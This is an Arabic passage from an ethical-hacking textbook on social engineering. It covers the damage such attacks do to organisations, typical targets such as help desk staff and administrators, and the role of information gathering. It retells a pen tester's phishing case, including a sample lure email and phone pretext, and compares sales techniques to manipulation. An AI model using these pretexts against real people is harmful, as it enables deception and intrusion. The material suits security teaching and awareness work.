‫ﻋن اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻣﺎ ﯾﻠﻲ‪:‬‬
‫اﻟﺨﺴﺎﺋﺮ اﻻﻗﺘﺼﺎدﯾﺔ‬

‫اﻟﻣﻧﺎﻓﺳﯾن ﻗد ﯾﺳﺗﺧدﻣوا ﺗﻘﻧﯾﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟﺳرﻗﺔ ﻣﻌﻠوﻣﺎت ﻣﺛل ﺧطط اﻟﺗﻧﻣﯾﺔ اﻟﻣﺳﺗﻘﺑﻠﯾﺔ واﺳﺗراﺗﯾﺟﯾﺔ اﻟﺗﺳوﯾﻖ ﻓﻲ اﻟﺷرﻛﺔ‪ ،‬واﻟذي‬
‫ﺑدوره ﻗد ﯾؤدي إﻟﻰ إﻟﺣﺎق ﺧﺳﺎﺋر اﻗﺗﺻﺎدﯾﺔ ﻛﺑﯾرة ﻋﻠﻰ اﻟﺷرﻛﺔ‪.‬‬
‫اﻻﺿﺮار ﺑﺴﻤﻌﺔ اﻟﻤﻨﻈﻤﺔ‬

‫ﺳﻣﻌﺔ اﻟﻣﻧظﻣﺔ ﻣﮭﻣﮫ ﺟدا ﻟﺟذب اﻟزﺑﺎﺋن‪ .‬ھﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻗد ﺗﺳرب اﻟﺑﯾﺎﻧﺎت اﻟﺣﺳﺎﺳﺔ اﻟﺗﻧظﯾﻣﯾﺔ ﻣﻣﺎ ﯾؤدى اﻟﻰ اﻻﺿرار ﺑﺳﻣﻌﺔ‬
‫اﻟﻣﻧظﻣﺔ‪.‬‬
‫ﻓﻘﺪان اﻟﺨﺼﻮﺻﯿﺔ‬

‫اﻟﺧﺻوﺻﯾﺔ ھﻲ ﻣﺻدر ﻗﻠﻖ ﻛﺑﯾر‪ ،‬ﺧﺎﺻﺔ ﺑﺎﻟﻧﺳﺑﺔ ﻟﻠﻣؤﺳﺳﺎت اﻟﻛﺑﯾرة‪ .‬إذا ﻛﺎﻧت اﻟﻣﻧظﻣﺔ ﻏﯾر ﻗﺎدره ﻋﻠﻰ اﻟﺣﻔﺎظ ﻋﻠﻰ ﺧﺻوﺻﯾﺔ أﺻﺣﺎب‬
‫اﻟﻣﺻﻠﺣﺔ أو اﻟﻌﻣﻼء‪ ،‬ﻓﺎن اﻟﻧﺎس ﻗد ﯾﻔﻘدا اﻟﺛﻘﺔ ﻓﻲ اﻟﺷرﻛﺔ ورﺑﻣﺎ ﻻ ﯾرﯾدون اﻻﺳﺗﻣرار ﻣﻊ اﻟﻣﻧظﻣﺔ‪ .‬وﺑﺎﻟﺗﺎﻟﻲ‪ ،‬ﯾﻣﻛن أن ﺗواﺟﮫ اﻟﻣﻧظﻣﺔ ﻓﻘدان‬
‫اﻟﻌﻣﯾل‪.‬‬
‫ﻣﺨﺎطﺮ اﻹرھﺎب‬

‫اﻹرھﺎب وﻣﻛﺎﻓﺣﺔ اﻟﻌﻧﺎﺻر اﻻﺟﺗﻣﺎﻋﯾﺔ ﺗﺷﻛل ﺧطرا ﻋﻠﻰ اﺷﺧﺎص اﻟﻣﻧظﻣﺔ واﻟﻣﻣﺗﻠﻛﺎت‪ .‬وﯾﻣﻛن اﺳﺗﺧدام ھﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻣن ﻗﺑل‬
‫اﻹرھﺎﺑﯾﯾن ﻹﻧﺷﺎء ﻣﺧطط ﻋن اﻟﺑﻧﯾﺔ اﻟﺗﺣﺗﯾﺔ )‪ (blueprint‬ﻷھداﻓﮭم‪.‬‬
‫اﻟﺪﻋﺎوى اﻟﻘﻀﺎﺋﯿﺔ واﻟﺘﺤﻜﯿﻢ‬

‫اﻟدﻋﺎوى اﻟﻘﺿﺎﺋﯾﺔ واﻟﺗﺣﻛﯾم ﻧﺗﯾﺟﺔ اﻟدﻋﺎﯾﺔ اﻟﺳﻠﺑﯾﺔ ﻟﻠﻣﻧظﻣﺔ واﻟﺗﻲ ﺗؤﺛر ﻋﻠﻰ أداء اﻷﻋﻣﺎل‪.‬‬
‫إﻏﻼق ﻣﺆﻗﺖ أو داﺋﻢ‬

‫ھﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﺗؤدي إﻟﻰ ﻓﻘدان ﺳﻣﻌﺔ اﻟﻣﻧظﻣﺔ‪ ،‬واﻟدﻋﺎوى اﻟﻘﺿﺎﺋﯾﺔ واﻟﺗﺣﻛﯾم ﻗد ﻓرض اﻹﻏﻼق اﻟداﺋم أو اﻟﻣؤﻗت ﻟﻠﻣﻧظﻣﺔ‬
‫وأﻧﺷطﺗﮭﺎ اﻟﺗﺟﺎرﯾﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪796‬‬

‫اﻷھداف اﻟﺷﺎﺋﻌﺔ ﻟﮭﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ )‪(Common Targets Of Social Engineering‬‬

‫ﻣﻮظﻔﻲ اﻻﺳﺘﻘﺒﺎل وﻣﻜﺎﺗﺐ اﻟﻤﺴﺎﻋﺪة )‪(Receptionists and Help Desk Personnel‬‬

‫اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾﺔ ﺗﺳﺗﮭدف ﻋﻣوﻣﺎ ﻣﻛﺎﺗب اﻟﺧدﻣﺔ أو ﻣﺳﺎﻋدة اﻟﻌﺎﻣﻠﯾن ﻓﻲ اﻟﻣﻧظﻣﺔ اﻟﮭدف وﻣﺣﺎوﻟﺔ ﺧدﻋﺎھم ﻓﻲ اﻟﻛﺷف ﻋن اﻟﻣﻌﻠوﻣﺎت‬
‫اﻟﺳرﯾﺔ ﻋن اﻟﺷرﻛﺔ‪.‬‬
‫ﻣﻮظﻔﻲ اﻟﺪﻋﻢ اﻟﻔﻨﻲ )‪(Technical Support Executives‬‬

‫ﯾﻣﻛن ﻟﻣوظﻔﻲ اﻟدﻋم اﻟﻔﻧﻲ أن ﯾﻛون واﺣدا ﻣن أھداف اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻷﻧﮫ ﯾﻣﻛن اﻟﺗواﺻل ﻣﻊ ﻣوظﻔﻲ اﻟدﻋم اﻟﻔﻧﻲ وﻣﺣﺎوﻟﺔ اﻟﺣﺻول ﻋﻠﻰ‬
‫اﻟﻣﻌﻠوﻣﺎت اﻟﺣﺳﺎﺳﺔ ﻣن ﺧﻼل اﻟﺗظﺎھر ﺑﺄﻧﮭم ﻣﺳؤوﻟﯾن ذات ﻣﺳﺗوى اﻋﻠﻰ ﻓﻲ اﻹدارة‪ ،‬ﻋﻣﻼء‪ ،‬ﺑﺎﺋﻌﯾن‪ ،‬اﻟﺦ‪.‬‬
‫ﻣﺴﺆوﻟﻲ اﻟﻨﻈﺎم )‪(System Administrators‬‬

‫اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن ﯾﻌﻠﻣوا ﺟﯾدا أن ﻣﺳؤوﻟﻲ اﻟﻧظﺎم ھم اﻻﺷﺧﺎص اﻟذﯾن ﯾﺣﺎﻓظون ﻋﻠﻰ أﻣن اﻟﻣﻧظﻣﺔ‪ .‬ﻣﺳؤول اﻟﻧظﺎم ھو اﻟﻣﺳؤول ﻋن‬
‫اﻟﺣﻔﺎظ ﻋﻠﻰ اﻷﻧظﻣﺔ ﻓﻲ اﻟﻣﻧظﻣﺔ وﯾﻣﻛن ﻣﻌرﻓﺔ ﻣﻌﻠوﻣﺎت ﻣﺛل ﻛﻠﻣﺎت ﻣرور ﺣﺳﺎب اﻟﻣﺳؤول‪ .‬إذا اﺳﺗطﺎع اﻟﻣﮭﺎﺟم ﺧداﻋﺔ‪ ،‬ﻓﺎﻧﮫ ﺳوف ﯾﺣﺻل‬
‫ﻋﻠﻰ ﻣﻌﻠوﻣﺎت ﻣﻔﯾدة‪ .‬ﻟذﻟك‪ ،‬ﻗد ﯾﻛون ﻣﺳؤوﻟﻲ اﻟﻧظﺎم أﯾﺿﺎ ھدﻓﺎ ﻟﻠﻣﮭﺎﺟﻣﯾن‪.‬‬
‫اﻟﻤﺴﺘﺨﺪﻣﯿﻦ واﻟﻌﻤﻼء )‪(Users and Clients‬‬

‫اﻟﻣﮭﺎﺟم ﻗد ﯾدﻋو اﻟﻣﺳﺗﺧدﻣﯾن واﻟﻌﻣﻼء ﻣن ﺧﻼل اﻟﺗظﺎھر ﺑﺄﻧﮫ ﺷﺧص ﻣن اﻟدﻋم اﻟﻔﻧﻲ وذﻟك ﻓﻲ ﻣﺣﺎوﻟﺔ ﻻﻧﺗزاع اﻟﻣﻌﻠوﻣﺎت اﻟﺣﺳﺎﺳﺔ‪.‬‬
‫ﺑﺎﺋﻌﻲ اﻟﻤﻨﻈﻤﺔ اﻟﮭﺪف )‪(Vendors of the Target Organization‬‬

‫ﻓﻲ ﺑﻌض اﻷﺣﯾﺎن‪ ،‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻗد ﯾﺳﺗﮭدف أﯾﺿﺎ اﻟﺑﺎﻋﺔ ﻟﻠﺣﺻول ﻋﻠﻰ ﻣﻌﻠوﻣﺎت ﺳرﯾﺔ ﻋن اﻟﻣﻧظﻣﺔ اﻟﮭدف‪.‬‬
‫ﻋﺎﻣﻞ اﻟﻤﻜﺘﺐ )‪(office worker‬‬

‫اﻟﺧروﻗﺎت اﻷﻣﻧﯾﺔ ﺷﺎﺋﻌﺔ ﻋﻠﻰ اﻟرﻏم ﻣن أن اﻟﻣﻧظﻣﺎت ﺗﺳﺗﺧدم أﻧظﻣﺔ ﺣﻣﺎﯾﺔ ﻣن اﻟﻔﯾروﺳﺎت‪ ،‬وأﻧظﻣﺔ ﻛﺷف اﻟﺗﺳﻠل‪ ،‬وﻏﯾرھﺎ ﻣن اﻟﺗﻛﻧوﻟوﺟﯾﺎ‬
‫اﻷﻣﻧﯾﺔ‪ .‬ھﻧﺎ ﯾﺣﺎول اﻟﻣﮭﺎﺟم اﺳﺗﻐﻼل ﻣواﻗف اﻟﻣوظﻔﯾن ﺑﺷﺄن اﻟﺣﻔﺎظ ﻋﻠﻰ ﺳرﯾﺔ اﻟﻣﻌﻠوﻣﺎت اﻟﺣﺳﺎﺳﺔ ﻟﻠﻣؤﺳﺳﺔ‪.‬‬
‫اﻟﻣﮭﺎﺟﻣﯾن ﻗد ﯾﺣﺎوﻻ اﻟﻘﯾﺎم ﺑﮭﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻋﻠﻰ اﻟﻌﺎﻣﻠﯾن ﻓﻲ اﻟﻣﻛﺗب ﻻﺳﺗﺧراج اﻟﺑﯾﺎﻧﺎت اﻟﺣﺳﺎﺳﺔ ﻣﺛل‪ :‬اﻟﺳﯾﺎﺳﺎت اﻷﻣﻧﯾﺔ‪ ،‬اﻟوﺛﺎﺋﻖ‬
‫اﻟﺣﺳﺎﺳﺔ‪ ،‬اﻟﺑﻧﯾﺔ اﻟﺗﺣﺗﯾﺔ ﻟﺷﺑﻛﺔ اﻟﻣﻛﺎﺗب‪ ،‬ﻛﻠﻣﺎت اﻟﺳر‪.‬‬

‫ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت )أﺳﺎس ﻧﺟﺎح اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ(‬

‫)ﺗﺳﻌﯾن ﻓﻲ اﻟﻣﺋﺔ ﻣن ﻣﺟﻣوع اﻟﺣروب ھﻲ ﻋﺑﺎره ﻋن ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت( ﻧﺎﺑﻠﯾون ﺑوﻧﺎﺑﺎرت‬

‫ﻗد ﻗﯾل ﻟﻲ اﻧﮫ ﻻ ﯾوﺟد ﻣﻌﻠوﻣﺎت ﻟﯾﺳت ذات ﺻﻠﺔ‪ .‬ﺗﻠك اﻟﻛﻠﻣﺎت ﺣﻘﯾﻘﯾﮫ ﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ اﻷﻣر ﺑﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت‪ .‬ﺣﺗﻰ أدﻧﻰ اﻟﺗﻔﺎﺻﯾل ﯾﻣﻛن أن‬
‫ﯾؤدي إﻟﻰ ﻧﺟﺎح اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬
‫ﻣﺎﺗﻲ أھﺎروﻧﻲ‪ ،‬اﻟذي ﻛﺎﻧت ﻣن أﺷﮭر ﻣﺧﺗﺑري اﻻﺧﺗراق )‪ (pen tester‬ﻷﻛﺛر ﻣن ﻋﻘد ﻣن اﻟزﻣﺎن‪ .‬ﺗروي ﻗﺻﺔ أﻧﮭﺎ ﻛﻠﻔت ﺑﺎﻟوﺻول إﻟﻰ‬
‫ﺷرﻛﺔ ﻣﺎ واﻟﺗﻲ ﻛﺎن ﻟﮭﺎ أﺛر ﻏﯾر ﻣوﺟود ﺗﻘرﯾﺑﺎ ﻋﻠﻰ اﻟوﯾب‪ .‬ﻷن اﻟﺷرﻛﺔ ﺗﻘدم ﻋدد ﻗﻠﯾل ﺟدا ﻣن ﺳﺑل اﻻﺧﺗراق‪ ،‬واﻟﺣﺻول ﻋﻠﻰ ھذا اﻟوﺻول‬
‫ﺷﺄﻧﮫ أن ﯾﺛﺑت أن ﺗﻛون ﺻﻌﺑﺔ ﻟﻠﻐﺎﯾﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪797‬‬

‫ﺑدأت ﻣﺎﺗﻲ ﺗﺟوب اﻹﻧﺗرﻧت ﻋن أي ﻣن اﻟﺗﻔﺎﺻﯾل اﻟﺗﻲ ﯾﻣﻛﻧﮭﺎ أن ﺗؤدي إﻟﻰ ﻣﺳﺎر اﻟﺷرﻛﺔ‪ .‬ﻓﻲ واﺣدة ﻣن ﻋﻣﻠﯾﺎت اﻟﺑﺣث وﺟد ﻣﺳؤول‬
‫ﺑﺎﻟﺷرﻛﺔ رﻓﯾﻊ اﻟﻣﺳﺗوى اﺳﺗﺧدم اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ اﻟﺧﺎص ﺑﮫ اﻟﻣﻘدم ﻟﮫ ﻣن اﻟﺷرﻛﺔ ﻓﻲ ﻣﻧﺗدى ﺣول ﺟﻣﻊ اﻟطواﺑﻊ ﺣﯾث أﺑدى اھﺗﻣﺎﻣﮫ ﺑﺎﻟطواﺑﻊ‬
‫اﻟﺧﺎﺻﺔ ﺑﻌﺎم ‪ . 1950‬ﻗﺎﻣت ﻣﺎﺗﻲ ﺑﺗﺳﺟل ﻋﻧوان ‪ URL‬ﺑﺳرﻋﺔ‪ ،‬ﺷﻲء ﻣن ھذا اﻟﻘﺑﯾل ‪ ،www.stampcollection.com‬وﻣن ﺛم وﺟدت‬
‫ﺻور ﻟﻣﺟﻣوﻋﺔ ﻣن اﻟطواﺑﻊ ﻟﻌﺎم ‪ 1950‬ﻣن ﺧﻼل اﻟﺑﺣث ﻓﻲ ﺟوﺟل‪ .‬ﺛم ﻗﺎﻣت ﺑﺳرﻋﮫ ﺑﺈﻧﺷﺎء ﻣوﻗﻊ ﻋﻠﻰ ﺷﺑﻛﺔ اﻻﻧﺗرﻧت ﯾظﮭر ﻟﮫ ﺑﺎﻧﮫ ﯾﮭﺗم "‬
‫ﺑﺟﻣﻊ اﻟطواﺑﻊ"‪ ،‬ﺛم أرﺳﻠت اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﻟﮭذا اﻟﻣﺳؤول ﻓﻲ اﻟﺷرﻛﺔ‪:‬‬
‫ﺳﯾدي اﻟﻌزﯾز‪،‬‬
‫ﻟﻘد رأﯾت ﻋﻠﻰ ‪ www.forum.com‬إﻧك ﻛﻧت ﻣﮭﺗﻣﺎ ﺑﺎﻟطواﺑﻊ ﻣن ‪ . 1950‬ﻓﻲ اﻵوﻧﺔ اﻷﺧﯾرة ﺗرﻛﻧﻲ ﺟدي وﺗرك ﻟﻲ ﻣﺟﻣوﻋﮫ ﻣن اﻟطواﺑﻊ‬
‫اﻟﺗﻲ أود أن أﺑﯾﻌﮭﺎ‪ .‬ﻟدي ﻣوﻗﻊ ﻋﻠﻰ ﺷﺑﻛﺔ اﻻﻧﺗرﻧت ﻗﻣت ﺑﺈﻧﺷﺎﺋﮫ؛ إذا ﻛﻧت ﺗرﻏب ﻓﻲ رؤﯾﺗﮫ ﯾرﺟﻰ زﯾﺎرة ‪.www.stampcollection.com‬‬
‫ﺷﻛرا‪،‬‬
‫ﻣﺎﺗﻲ‬

‫ﻗﺑل أن ﺗرﺳل رﺳﺎﻟﺔ إﻟﻛﺗروﻧﯾﺔ إﻟﻰ اﻟﮭدف‪ ،‬ﻓﺄﻧﮭﺎ ﺗرﯾد أن ﺗﺿﻣن أﻗﺻﻰ ﻗدر ﻣن اﻟﺗﺄﺛﯾر‪ .‬ﺣﯾث ﺗوﻟﻰ ﻋدد ﻣن اﻟﻣﻛﺎﺗب ﻟﻣﻧﺗدى آﺧر ﺑﺎﻟﻘﯾﺎم‬
‫ﺑﻣﻛﺎﻟﻣﺔ ھﺎﺗﻔﯾﺔ ﻣﻊ اﻟرﺟل‪" .‬ﺻﺑﺎح اﻟﺧﯾر‪ ،‬ﺳﯾدي‪ ،‬ھذا ھو ﺑوب‪ .‬رأﯾت اﻟﻧﺷر اﻟﺧﺎص ﺑك ﻋﻠﻰ ‪ .www.forum.com‬ﻟﻘد ﺗرك ﻟﻲ ﺟدي‬
‫ﺣﻔﻧﺔ ﻣن اﻟطواﺑﻊ ﻣن ‪ 1950‬و‪ . 60‬ﻟﻘد أﺧذت ﺻور ﻟﮭﺎ وﺟﻌﻠﺗﮭﺎ ﻋﻠﻰ ﻣوﻗﻊ ﻋﻠﻰ ﺷﺑﻛﺔ اﻻﻧﺗرﻧت‪ .‬إذا ﻛﻧت ﻣﮭﺗﻣﺎ ﯾﻣﻛﻧﻧﻲ أن أرﺳل ﻟك اﻟراﺑط‬
‫وﯾﻣﻛﻧك إﻟﻘﺎء ﻧظرة“ ‪.‬‬
‫ﻛﺎن اﻟﮭدف ﺣرﯾﺻﺎ ﺟدا ﻟرؤﯾﺔ ھذه اﻟﻣﺟﻣوﻋﺔ وﻋﻠﻰ اﺳﺗﻌداد ﻟﻘﺑوﻟﮭﺎ اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‪ .‬أرﺳﻠت ﻣﺎﺗﻲ اﻟﻰ اﻟرﺟل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ واﻧﺗظرت‬
‫ﻣﻧﮫ اﻟﻧﻘر ﻓوق ﻟﻧك اﻻرﺗﺑﺎط‪ .‬ﺣﯾث ﻗﺎﻣت ﻣﺎﺗﻲ ﺑﺗﺿﻣﯾن إطﺎر ﺧﺑﯾث )‪ (malicious frame‬ﻋﻠﻰ ﺷﺑﻛﺔ اﻻﻧﺗرﻧت‪ .‬ﻛﺎن ھذا اﻹطﺎر ھو ﻋﺑﺎره‬
‫ﻋن اﻛواد واﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ اﺳﺗﻐﻼل ﻧﻘﺎط اﻟﺿﻌف اﻟﻣﻌروﻓﺔ آﻧذاك ﻓﻲ ﻣﺗﺻﻔﺢ إﻧﺗرﻧت إﻛﺳﺑﻠورر وﺗﻌطﻲ اﻟﺳﯾطرة ﻋﻠﻰ ﺟﮭﺎز اﻟﻛﻣﺑﯾوﺗر اﻟﮭدف‬
‫ﻟﻣﺎﺗﻲ‪ .‬ﻟم ﯾﻛن اﻻﻧﺗظﺎر طوﯾﻼ‪ :‬ﺣﯾث ﺑﻣﺟرد اﺳﺗﻼم اﻟرﺟل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﻗﺎم ﺑﺎﻟﻧﻘر ﻋﻠﻰ اﻟراﺑط وﻣن ﺛم ﺗم اﺧﺗراق ﻣﺣﯾط اﻟﺷرﻛﺔ‪.‬‬
‫ﻗطﻌﺔ ﺻﻐﯾرة ﻣن اﻟﻣﻌﻠوﻣﺎت ﻋن اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﻟﻠﺷرﻛﺔ ﻣن ھذا اﻟرﺟل اﺳﺗﺧدﻣﮫ ﻟﻠﺑﺣث ﻋن اﻟطواﺑﻊ‪ ،‬ھو ﻣﺎ أدى إﻟﻰ ھذه اﻻﺧﺗراق‪ .‬ﻓﮭذا‬
‫ﻣﺎ ﯾوﺿﻊ ﻧظرﯾﺔ اﻧﮫ ﻻ ﺗوﺟد ﻗطﻌﺔ ﻣن اﻟﻣﻌﻠوﻣﺎت ﻟﯾﺳت ذات ﺻﻠﺔ‪.‬‬
‫ﻣﻊ وﺿﻊ ھذه اﻟﻣﻌرﻓﺔ ﻓﻲ اﻻﻋﺗﺑﺎر‪ ،‬ﻓﮭﻧﺎ ﺑﻌض اﻷﺳﺋﻠﺔ اﻟﺗﻲ ﺗطرح ﻧﻔﺳﮭﺎ واﻟﺗﻲ ﺗﺗﻌﻠﻖ ﺑﻌﻣﻠﯾﺔ ﺑﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت‪:‬‬
‫‪ -‬ﻛﯾف ﯾﻣﻛﻧك ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت؟‬
‫‪ -‬ﻣﺎ اﻟﻣﺻﺎدر اﻟﻣوﺟودة ﻟﻠﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن ﻟﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت؟‬
‫‪ -‬ﻣﺎ اﻟذي ﯾﻣﻛﻧك اﻟﺣﺻول ﻋﻠﯾﮫ ﻣن ھذه اﻟﻣﻌﻠوﻣﺎت ﻓﻲ اﻟﻣﻠف اﻟﺷﺧﺻﻲ ﻟﻠﮭدف اﻟﺧﺎص ﺑك؟‬
‫‪ -‬ﻛﯾف ﯾﻣﻛﻧك ﺗﺣدﯾد وﺗﺧزﯾن وﻓﮭرﺳﺔ ﻛل ھذه اﻟﻣﻌﻠوﻣﺎت ﻷﺳﮭل ﻣﺳﺗوى ﻣن اﻻﺳﺗﺧدام؟‬
‫ھذه ﻟﯾﺳت ﺳوى ﻋدد ﻗﻠﯾل ﻣن اﻷﺳﺋﻠﺔ اﻟﺗﻲ ﺳوف ﺗﺣﺗﺎج ﻓﻲ اﻟﻌﺛور ﻋﻠﻰ إﺟﺎﺑﺎت ﻟﮭﺎ ﻣن أﺟل إﻧﺟﺎز ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت اﻟﻣﻧﺎﺳﺑﺔ واﻟﻔﻌﺎﻟﺔ‪ .‬ﻣﻊ‬
‫ﻋدد ﻛﺑﯾر ﻣن ﻣواﻗﻊ اﻟﺷﺑﻛﺎت اﻻﺟﺗﻣﺎﻋﯾﺔ ھﻧﺎك‪ ،‬ﯾﻣﻛن ﻟﻠﻧﺎس ﺑﺳﮭوﻟﺔ ﻣﺷﺎرﻛﺔ ﻛل ﺟﺎﻧب ﻣن ﺟواﻧب ﺣﯾﺎﺗﮭم ﻣﻊ أي ﺷﺧص ﯾﺧﺗﺎروﻧﮫ‪ ،‬ﻣﻣﺎ ﯾﺗﯾﺢ‬
‫وﺟود ﻣﻌﻠوﻣﺎت ﻗد ﺗﻛون ﺿﺎرة أﻛﺛر ﺗواﻓرا ﻣن ذي ﻗﺑل‪.‬‬
‫اﻟﻌدﯾد ﻣن اﻟﻣﮭﺎرات أو اﻷﺳﺎﻟﯾب اﻟﺗﻲ ﻗد ﯾﺳﺗﺧدﻣﮭﺎ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﺗﺄﺗﻲ ﻣن اﻟﺣﻘول اﻷﺧرى‪ .‬واﺣد ﻣن ھذه اﻟﺣﻘول ھو اﻟﻣﺑﯾﻌﺎت‪.‬‬
‫ﻣﻧدوﺑﻲ اﻟﻣﺑﯾﻌﺎت ﯾﻣﯾﻠون إﻟﻰ اﻟﺛرﺛرة ﺟدا‪ ،‬اﻟﮭدوء‪ ،‬وﺟﯾدﯾن ﺟدا ﻓﻲ ﺟﻣﻊ اﻟﺑﯾﺎﻧﺎت ﻋن ﺗﻠك اﻟذﯾن ﯾﺗﻔﺎﻋﻠون ﻣﻌﮭم‪.‬‬

‫ﯾﻣﻛﻧك اﺳﺗﺧدام ﺻﯾﻎ ﺑﺳﯾطﺔ ﻟﻠﺣﺻول ﻋﻠﻰ اﻟﺷﺧص )أﺳرﺗﮫ وأﺻدﻗﺎﺋﮫ‪ ،‬ورﺑﻣﺎ ﺣﺗﻰ زﻣﻼء اﻟﻌﻣل(‪ .‬ﺣﺻﺎد‪ ،‬أو ﺟﻣﻊ ھذه اﻟﻣﻌﻠوﻣﺎت وﻣن ﺛم‬
‫ﺗﺧزﯾﻧﮭﺎ‪ ،‬ﯾﺳﻣﺢ ﻟﻣﻧدوﺑﻲ اﻟﻣﺑﯾﻌﺎت أن ﯾﻣﻠﻛوا ﻣﺎ ﯾﺳﻣوﻧﮫ "‪ " warm leads‬ﺣﺗﻰ ﯾﺗﺣدث ﻣﻊ اﻟﻌﻣﯾل‪ Warm leads .‬ﺗﻌرف ﻋﻠﻰ اﻧﮫ اﻟﻣدﺧل‬
‫اﻟﻰ اﻟﻌﻣﯾل ‪ ،‬وﺳﯾﻠﺔ ﻟﻠﺣﺻول ﻋﻠﻰ اﻟﺑﺎب ﻗﺑل اﻟﻘﯾﺎم ﺑﺎﻟﺗواﺻل ﻣﻊ اﻟﻌﻣﯾل‪.‬‬

‫اﻟﻣﮭﺎرات اﻟﻣﺳﺗﺧدﻣﺔ ﻣن ﻗﺑل ﻣﻧدوﺑﻲ اﻟﻣﺑﯾﻌﺎت ﻏﺎﻟﺑﺎ ﻣﺎ ﺗﻧﻌﻛس ﻣن ﻗﺑل اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن‪ .‬ﺑﺎﻟطﺑﻊ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻻ ﯾﺳﺎل‪ ،‬وﻟﻛن‬
‫ﯾﻔﻛر ﻓﻲ ﺗدﻓﻖ اﻟﻣﻌﻠوﻣﺎت داﺧل وﺧﺎرج ھذه اﻟﻣﺣﺎدﺛﺔ‪ .‬ﻣﻧدوب اﻟﻣﺑﯾﻌﺎت ﯾﻘوم ﺑﺗﺟﻣﯾﻊ اﻟﻣﻌﻠوﻣﺎت ﻋن ﻣوﻛﻠﮫ اﻟﺣﺎﻟﻲ‪ ،‬ﺛم ﯾﻘوم ﺑﺎﺳﺗﺧدام ﺗﻠك‬
‫اﻟﻣﻌﻠوﻣﺎت ﺑطرﯾﻘﺔ ﻣﺎ واﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ أن ﺗﺟﻌل "اﻟﮭدف" اﻟﺟدﯾد أﻛﺛر ﻋرﺿﺔ ﻟﻼﺳﺗﻣﺎع واﻟﺳﻣﺎح ﻟﮫ ﺑﺎﻟدﺧول وﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪ ،‬ﻋرض‬
‫ﺗﻠﻣﯾﺣﺎت ﻋﻠﻰ ﻣﺎ ﯾﺷﺗرﯾﮫ اﻟﻌﻣﯾل أوﻻ واﺳﺗﺧدام ﻛﻠﻣﺎت ﻣﺛل "ﻗﺳط" و "ﻣﻘدﻣﺎ"‪ .‬ﻣﻧدوب ﻣﺑﯾﻌﺎت ﯾﺣﻣل ﻣﺳﺑﻘﺎ اﻟﮭدف اﻟﺟدﯾد ﻣن ﺧﻼل اﻟﻛﻠﻣﺎت‬
‫اﻟرﺋﯾﺳﯾﺔ اﻟﺗﻲ ﯾرﯾد اﺳﺗﺧداﻣﮭﺎ ﻋﻠﯾﮫ ﻓﻲ ﻏﺿون ﻓﺗرة ﻗﺻﯾرة‪ .‬ھذا اﻷﺳﻠوب ھو ﻓﻌﺎل ﻣن ﺣﯾث أﻧﮫ ﯾﺑﻧﻲ اﻟﺛﻘﺔ‪ ،‬ﯾﺳﺗﺧدم اﻷﻟﻔﺔ‪ ،‬وﯾﺳﻣﺢ ﻟﻠﮭدف أن‬
‫ﯾﺷﻌر ﺑﺎﻟراﺣﺔ ﻣﻊ ﻣﻧدوب اﻟﻣﺑﯾﻌﺎت‪ ،‬أو اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ ،‬وإﻋطﺎء رأﯾﮭم ﻛﺟﺳر ﻓوق اﻟﮭوة اﻟﺗﻲ ﻋﺎدة ﻣﺎ ﺗوﺟد ﺑﯾن اﻟﻣﻧدوب واﻟﻌﻣﯾل‪ .‬وھذا‬
‫ﻣﺎ ﺳوف ﻧﺗﻧﺎوﻟﮫ ﻓﻲ ﻋﻣﻖ‪.‬‬
